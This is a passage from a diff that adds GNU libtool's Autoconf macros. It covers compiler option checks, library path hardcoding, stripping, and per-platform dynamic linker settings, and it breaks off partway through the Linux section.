+ then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' > out/conftest.exp + $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 + if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then + _LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes + fi + fi + chmod u+w . 2>&AS_MESSAGE_LOG_FD + $RM conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files + $RM out/* && rmdir out + cd .. + $RM -r conftest + $RM conftest* +]) +_LT_TAGDECL([compiler_c_o], [lt_cv_prog_compiler_c_o], [1], + [Does compiler simultaneously support -c and -o options?]) +])# _LT_COMPILER_C_O + + +# _LT_COMPILER_FILE_LOCKS([TAGNAME]) +# ---------------------------------- +# Check to see if we can do hard links to lock some files if needed +m4_defun([_LT_COMPILER_FILE_LOCKS], +[m4_require([_LT_ENABLE_LOCK])dnl +m4_require([_LT_FILEUTILS_DEFAULTS])dnl +_LT_COMPILER_C_O([$1]) + +hard_links=nottested +if test no = "$_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)" && test no != "$need_locks"; then + # do not overwrite the value of need_locks provided by the user + AC_MSG_CHECKING([if we can lock with hard links]) + hard_links=yes + $RM conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + AC_MSG_RESULT([$hard_links]) + if test no = "$hard_links"; then + AC_MSG_WARN(['$CC' does not support '-c -o', so 'make -j' may be unsafe]) + need_locks=warn + fi +else + need_locks=no +fi +_LT_DECL([], [need_locks], [1], [Must we lock files when doing compilation?]) +])# _LT_COMPILER_FILE_LOCKS + + +# _LT_CHECK_OBJDIR +# ---------------- +m4_defun([_LT_CHECK_OBJDIR], +[AC_CACHE_CHECK([for objdir], [lt_cv_objdir], +[rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null]) +objdir=$lt_cv_objdir +_LT_DECL([], [objdir], [0], + [The name of the directory that contains temporary libtool files])dnl +m4_pattern_allow([LT_OBJDIR])dnl +AC_DEFINE_UNQUOTED([LT_OBJDIR], "$lt_cv_objdir/", + [Define to the sub-directory where libtool stores uninstalled libraries.]) +])# _LT_CHECK_OBJDIR + + +# _LT_LINKER_HARDCODE_LIBPATH([TAGNAME]) +# -------------------------------------- +# Check hardcoding attributes. +m4_defun([_LT_LINKER_HARDCODE_LIBPATH], +[AC_MSG_CHECKING([how to hardcode library paths into programs]) +_LT_TAGVAR(hardcode_action, $1)= +if test -n "$_LT_TAGVAR(hardcode_libdir_flag_spec, $1)" || + test -n "$_LT_TAGVAR(runpath_var, $1)" || + test yes = "$_LT_TAGVAR(hardcode_automatic, $1)"; then + + # We can hardcode non-existent directories. + if test no != "$_LT_TAGVAR(hardcode_direct, $1)" && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test no != "$_LT_TAGVAR(hardcode_shlibpath_var, $1)" && + test no != "$_LT_TAGVAR(hardcode_minus_L, $1)"; then + # Linking always hardcodes the temporary library directory. + _LT_TAGVAR(hardcode_action, $1)=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + _LT_TAGVAR(hardcode_action, $1)=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + _LT_TAGVAR(hardcode_action, $1)=unsupported +fi +AC_MSG_RESULT([$_LT_TAGVAR(hardcode_action, $1)]) + +if test relink = "$_LT_TAGVAR(hardcode_action, $1)" || + test yes = "$_LT_TAGVAR(inherit_rpath, $1)"; then + # Fast installation is not supported + enable_fast_install=no +elif test yes = "$shlibpath_overrides_runpath" || + test no = "$enable_shared"; then + # Fast installation is not necessary + enable_fast_install=needless +fi +_LT_TAGDECL([], [hardcode_action], [0], + [How to hardcode a shared library path into an executable]) +])# _LT_LINKER_HARDCODE_LIBPATH + + +# _LT_CMD_STRIPLIB +# ---------------- +m4_defun([_LT_CMD_STRIPLIB], +[m4_require([_LT_DECL_EGREP]) +striplib= +old_striplib= +AC_MSG_CHECKING([whether stripping libraries is possible]) +if test -z "$STRIP"; then + AC_MSG_RESULT([no]) +else + if $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then + old_striplib="$STRIP --strip-debug" + striplib="$STRIP --strip-unneeded" + AC_MSG_RESULT([yes]) + else + case $host_os in + darwin*) + # FIXME - insert some real tests, host_os isn't really good enough + striplib="$STRIP -x" + old_striplib="$STRIP -S" + AC_MSG_RESULT([yes]) + ;; + freebsd*) + if $STRIP -V 2>&1 | $GREP "elftoolchain" >/dev/null; then + old_striplib="$STRIP --strip-debug" + striplib="$STRIP --strip-unneeded" + AC_MSG_RESULT([yes]) + else + AC_MSG_RESULT([no]) + fi + ;; + *) + AC_MSG_RESULT([no]) + ;; + esac + fi +fi +_LT_DECL([], [old_striplib], [1], [Commands to strip libraries]) +_LT_DECL([], [striplib], [1]) +])# _LT_CMD_STRIPLIB + + +# _LT_PREPARE_MUNGE_PATH_LIST +# --------------------------- +# Make sure func_munge_path_list() is defined correctly. +m4_defun([_LT_PREPARE_MUNGE_PATH_LIST], +[[# func_munge_path_list VARIABLE PATH +# ----------------------------------- +# VARIABLE is name of variable containing _space_ separated list of +# directories to be munged by the contents of PATH, which is string +# having a format: +# "DIR[:DIR]:" +# string "DIR[ DIR]" will be prepended to VARIABLE +# ":DIR[:DIR]" +# string "DIR[ DIR]" will be appended to VARIABLE +# "DIRP[:DIRP]::[DIRA:]DIRA" +# string "DIRP[ DIRP]" will be prepended to VARIABLE and string +# "DIRA[ DIRA]" will be appended to VARIABLE +# "DIR[:DIR]" +# VARIABLE will be replaced by "DIR[ DIR]" +func_munge_path_list () +{ + case x@S|@2 in + x) + ;; + *:) + eval @S|@1=\"`$ECHO @S|@2 | $SED 's/:/ /g'` \@S|@@S|@1\" + ;; + x:*) + eval @S|@1=\"\@S|@@S|@1 `$ECHO @S|@2 | $SED 's/:/ /g'`\" + ;; + *::*) + eval @S|@1=\"\@S|@@S|@1\ `$ECHO @S|@2 | $SED -e 's/.*:://' -e 's/:/ /g'`\" + eval @S|@1=\"`$ECHO @S|@2 | $SED -e 's/::.*//' -e 's/:/ /g'`\ \@S|@@S|@1\" + ;; + *) + eval @S|@1=\"`$ECHO @S|@2 | $SED 's/:/ /g'`\" + ;; + esac +} +]])# _LT_PREPARE_PATH_LIST + + +# _LT_SYS_DYNAMIC_LINKER([TAG]) +# ----------------------------- +# PORTME Fill in your ld.so characteristics +m4_defun([_LT_SYS_DYNAMIC_LINKER], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +m4_require([_LT_DECL_EGREP])dnl +m4_require([_LT_FILEUTILS_DEFAULTS])dnl +m4_require([_LT_DECL_OBJDUMP])dnl +m4_require([_LT_DECL_SED])dnl +m4_require([_LT_CHECK_SHELL_FEATURES])dnl +m4_require([_LT_PREPARE_MUNGE_PATH_LIST])dnl +AC_MSG_CHECKING([dynamic linker characteristics]) +m4_if([$1], + [], [ +if test yes = "$GCC"; then + case $host_os in + darwin*) lt_awk_arg='/^libraries:/,/LR/' ;; + *) lt_awk_arg='/^libraries:/' ;; + esac + case $host_os in + mingw* | cegcc*) lt_sed_strip_eq='s|=\([[A-Za-z]]:\)|\1|g' ;; + *) lt_sed_strip_eq='s|=/|/|g' ;; + esac + lt_search_path_spec=`$CC -print-search-dirs | awk $lt_awk_arg | $SED -e "s/^libraries://" -e $lt_sed_strip_eq` + case $lt_search_path_spec in + *\;*) + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED 's/;/ /g'` + ;; + *) + lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED "s/$PATH_SEPARATOR/ /g"` + ;; + esac + # Ok, now we have the path, separated by spaces, we can step through it + # and add multilib dir if necessary... + lt_tmp_lt_search_path_spec= + lt_multi_os_dir=/`$CC $CPPFLAGS $CFLAGS $LDFLAGS -print-multi-os-directory 2>/dev/null` + # ...but if some path component already ends with the multilib dir we assume + # that all is fine and trust -print-search-dirs as is (GCC 4.2? or newer). + case "$lt_multi_os_dir; $lt_search_path_spec " in + "/; "* | "/.; "* | "/./; "* | *"$lt_multi_os_dir "* | *"$lt_multi_os_dir/ "*) + lt_multi_os_dir= + ;; + esac + for lt_sys_path in $lt_search_path_spec; do + if test -d "$lt_sys_path$lt_multi_os_dir"; then + lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path$lt_multi_os_dir" + elif test -n "$lt_multi_os_dir"; then + test -d "$lt_sys_path" && \ + lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path" + fi + done + lt_search_path_spec=`$ECHO "$lt_tmp_lt_search_path_spec" | awk ' +BEGIN {RS = " "; FS = "/|\n";} { + lt_foo = ""; + lt_count = 0; + for (lt_i = NF; lt_i > 0; lt_i--) { + if ($lt_i != "" && $lt_i != ".") { + if ($lt_i == "..") { + lt_count++; + } else { + if (lt_count == 0) { + lt_foo = "/" $lt_i lt_foo; + } else { + lt_count--; + } + } + } + } + if (lt_foo != "") { lt_freq[[lt_foo]]++; } + if (lt_freq[[lt_foo]] == 1) { print lt_foo; } +}'` + # AWK program above erroneously prepends '/' to C:/dos/paths + # for these hosts. + case $host_os in + mingw* | cegcc*) lt_search_path_spec=`$ECHO "$lt_search_path_spec" |\ + $SED 's|/\([[A-Za-z]]:\)|\1|g'` ;; + esac + sys_lib_search_path_spec=`$ECHO "$lt_search_path_spec" | $lt_NL2SP` +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi]) +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=.so +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +AC_ARG_VAR([LT_SYS_LIBRARY_PATH], +[User-defined run-time library search path.]) + +case $host_os in +aix3*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='$libname$release$shared_ext$major' + ;; + +aix[[4-9]]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test ia64 = "$host_cpu"; then + # AIX 5 supports IA64 + library_names_spec='$libname$release$shared_ext$major $libname$release$shared_ext$versuffix $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line '#! .'. This would cause the generated library to + # depend on '.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[[01]] | aix4.[[01]].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | $CC -E - | $GREP yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # Using Import Files as archive members, it is possible to support + # filename-based versioning of shared library archives on AIX. While + # this would work for both with and without runtime linking, it will + # prevent static linking of such archives. So we do filename-based + # shared library versioning with .so extension only, which is used + # when both runtime linking and shared linking is enabled. + # Unfortunately, runtime linking may impact performance, so we do + # not want this to be the default eventually. Also, we use the + # versioned .so libs for executables only if there is the -brtl + # linker flag in LDFLAGS as well, or --with-aix-soname=svr4 only. + # To allow for filename-based versioning support, we need to create + # libNAME.so.V as an archive file, containing: + # *) an Import File, referring to the versioned filename of the + # archive as well as the shared archive member, telling the + # bitwidth (32 or 64) of that shared object, and providing the + # list of exported symbols of that shared object, eventually + # decorated with the 'weak' keyword + # *) the shared object with the F_LOADONLY flag set, to really avoid + # it being seen by the linker. + # At run time we better use the real file rather than another symlink, + # but for link time we create the symlink libNAME.so -> libNAME.so.V + + case $with_aix_soname,$aix_use_runtimelinking in + # AIX (on Power*) has no versioning support, so currently we cannot hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + aix,yes) # traditional libtool + dynamic_linker='AIX unversionable lib.so' + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + ;; + aix,no) # traditional AIX only + dynamic_linker='AIX lib.a[(]lib.so.V[)]' + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='$libname$release.a $libname.a' + soname_spec='$libname$release$shared_ext$major' + ;; + svr4,*) # full svr4 only + dynamic_linker="AIX lib.so.V[(]$shared_archive_member_spec.o[)]" + library_names_spec='$libname$release$shared_ext$major $libname$shared_ext' + # We do not specify a path in Import Files, so LIBPATH fires. + shlibpath_overrides_runpath=yes + ;; + *,yes) # both, prefer svr4 + dynamic_linker="AIX lib.so.V[(]$shared_archive_member_spec.o[)], lib.a[(]lib.so.V[)]" + library_names_spec='$libname$release$shared_ext$major $libname$shared_ext' + # unpreferred sharedlib libNAME.a needs extra handling + postinstall_cmds='test -n "$linkname" || linkname="$realname"~func_stripname "" ".so" "$linkname"~$install_shared_prog "$dir/$func_stripname_result.$libext" "$destdir/$func_stripname_result.$libext"~test -z "$tstripme" || test -z "$striplib" || $striplib "$destdir/$func_stripname_result.$libext"' + postuninstall_cmds='for n in $library_names $old_library; do :; done~func_stripname "" ".so" "$n"~test "$func_stripname_result" = "$n" || func_append rmfiles " $odir/$func_stripname_result.$libext"' + # We do not specify a path in Import Files, so LIBPATH fires. + shlibpath_overrides_runpath=yes + ;; + *,no) # both, prefer aix + dynamic_linker="AIX lib.a[(]lib.so.V[)], lib.so.V[(]$shared_archive_member_spec.o[)]" + library_names_spec='$libname$release.a $libname.a' + soname_spec='$libname$release$shared_ext$major' + # unpreferred sharedlib libNAME.so.V and symlink libNAME.so need extra handling + postinstall_cmds='test -z "$dlname" || $install_shared_prog $dir/$dlname $destdir/$dlname~test -z "$tstripme" || test -z "$striplib" || $striplib $destdir/$dlname~test -n "$linkname" || linkname=$realname~func_stripname "" ".a" "$linkname"~(cd "$destdir" && $LN_S -f $dlname $func_stripname_result.so)' + postuninstall_cmds='test -z "$dlname" || func_append rmfiles " $odir/$dlname"~for n in $old_library $library_names; do :; done~func_stripname "" ".a" "$n"~func_append rmfiles " $odir/$func_stripname_result.so"' + ;; + esac + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + case $host_cpu in + powerpc) + # Since July 2007 AmigaOS4 officially supports .so libraries. + # When compiling the executable, add -use-dynld -Lsobjs: to the compileline. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + ;; + m68k) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`func_echo_all "$lib" | $SED '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + esac + ;; + +beos*) + library_names_spec='$libname$shared_ext' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[[45]]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32* | cegcc*) + version_type=windows + shrext_cmds=.dll + need_version=no + need_lib_prefix=no + + case $GCC,$cc_basename in + yes,*) + # gcc + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \$file`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\$base_file'\''i; echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname~ + chmod a+x \$dldir/$dlname~ + if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then + eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; + fi' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo $libname | $SED -e 's/^lib/cyg/'``echo $release | $SED -e 's/[[.]]/-/g'`$versuffix$shared_ext' +m4_if([$1], [],[ + sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/lib/w32api"]) + ;; + mingw* | cegcc*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='$libname`echo $release | $SED -e 's/[[.]]/-/g'`$versuffix$shared_ext' + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo $libname | $SED -e 's/^lib/pw/'``echo $release | $SED -e 's/[[.]]/-/g'`$versuffix$shared_ext' + ;; + esac + dynamic_linker='Win32 ld.exe' + ;; + + *,cl* | *,icl*) + # Native MSVC or ICC + libname_spec='$name' + soname_spec='$libname`echo $release | $SED -e 's/[[.]]/-/g'`$versuffix$shared_ext' + library_names_spec='$libname.dll.lib' + + case $build_os in + mingw*) + sys_lib_search_path_spec= + lt_save_ifs=$IFS + IFS=';' + for lt_path in $LIB + do + IFS=$lt_save_ifs + # Let DOS variable expansion print the short 8.3 style file name. + lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"` + sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path" + done + IFS=$lt_save_ifs + # Convert to MSYS style. + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's|\\\\|/|g' -e 's| \\([[a-zA-Z]]\\):| /\\1|g' -e 's|^ ||'` + ;; + cygwin*) + # Convert to unix form, then to dos form, then back to unix form + # but this time dos style (no spaces!) so that the unix form looks + # like /cygdrive/c/PROGRA~1:/cygdr... + sys_lib_search_path_spec=`cygpath --path --unix "$LIB"` + sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null` + sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + ;; + *) + sys_lib_search_path_spec=$LIB + if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then + # It is most probably a Windows format PATH. + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + # FIXME: find the short name or the path components, as spaces are + # common. (e.g. "Program Files" -> "PROGRA~1") + ;; + esac + + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \$file`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\$base_file'\''i; echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + shlibpath_overrides_runpath=yes + dynamic_linker='Win32 link.exe' + ;; + + *) + # Assume MSVC and ICC wrapper + library_names_spec='$libname`echo $release | $SED -e 's/[[.]]/-/g'`$versuffix$shared_ext $libname.lib' + dynamic_linker='Win32 ld.exe' + ;; + esac + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$major$shared_ext $libname$shared_ext' + soname_spec='$libname$release$major$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`' +m4_if([$1], [],[ + sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/local/lib"]) + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd* | dragonfly* | midnightbsd*) + # DragonFly does not have aout. When/if they implement a new + # versioning mechanism, adjust this. + if test -x /usr/bin/objformat; then + objformat=`/usr/bin/objformat` + else + case $host_os in + freebsd[[23]].*) objformat=aout ;; + *) objformat=elf ;; + esac + fi + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2.*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.[[01]]* | freebsdelf3.[[01]]*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \ + freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1) + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + *) # from 4.6 on, and DragonFly + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + esac + ;; + +haiku*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + dynamic_linker="$host_os runtime_loader" + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LIBRARY_PATH + shlibpath_overrides_runpath=no + sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case $host_cpu in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + if test 32 = "$HPUX_IA64_MODE"; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + sys_lib_dlsearch_path_spec=/usr/lib/hpux32 + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + sys_lib_dlsearch_path_spec=/usr/lib/hpux64 + fi + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555, ... + postinstall_cmds='chmod 555 $lib' + # or fails outright, so override atomically: + install_override_mode=555 + ;; + +interix[[3-9]]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test yes = "$lt_cv_prog_gnu_ld"; then + version_type=linux # correct to gnu/linux during the next big refactor + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='$libname$release$shared_ext$major' + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$release$shared_ext $libname$shared_ext' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib$libsuff /lib$libsuff /usr/local/lib$libsuff" + sys_lib_dlsearch_path_spec="/usr/lib$libsuff /lib$libsuff" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +linux*android*) + version_type=none # Android doesn't support versioned libraries. + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext' + soname_spec='$libname$release$shared_ext' + finish_cmds= + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + dynamic_linker='Android linker' + # Don't embed -rpath directories since the linker doesn't support them. + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + ;; + +# This must be glibc/ELF. +linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + + # Some binutils ld are patched to set DT_RUNPATH + AC_CACHE_VAL([lt_cv_shlibpath_overrides_runpath], + [lt_cv_shlibpath_overrides_runpath=no + save_LDFLAGS=$LDFLAGS + save_libdir=$libdir + eval "libdir=/foo; wl=\"$_LT_TAGVAR(lt_prog_compiler_wl, $1)\"; \ + LDFLAGS=\"\$LDFLAGS $_LT_TAGVAR(hardcode_libdir_flag_spec, $1)\"" + AC_LINK_IFELSE([AC_LANG_PROGRAM([],[])], + [AS_IF([ ($OBJDUMP -p conftest$ac_exeext) 2>/dev/null | grep "RUNPATH.*$libdir" >/dev/null], + [lt_cv_shlibpath_overrides_runpath=yes])]) + LDFLAGS=$save_LDFLAGS + libdir=$save_libdir + ]) + shlibpath_overrides_runpath=$lt_cv_shlibpath_overrides_runpath + + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Ideally, we could use ldconfig to report *all* directores which are + # searched for libraries, however this is still not possible. Aside from not + # being certain /sbin/ldconfig is available, command + # 'ldconfig -N -X -v | grep ^/' on 64bit Fedora does not report /usr/lib64, + # even though it is searched at run-time. Try to do the best guess by + # appending ld.so.conf contents (and includes) to the search path. + if test -f /etc/ld.so.conf; then + lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < 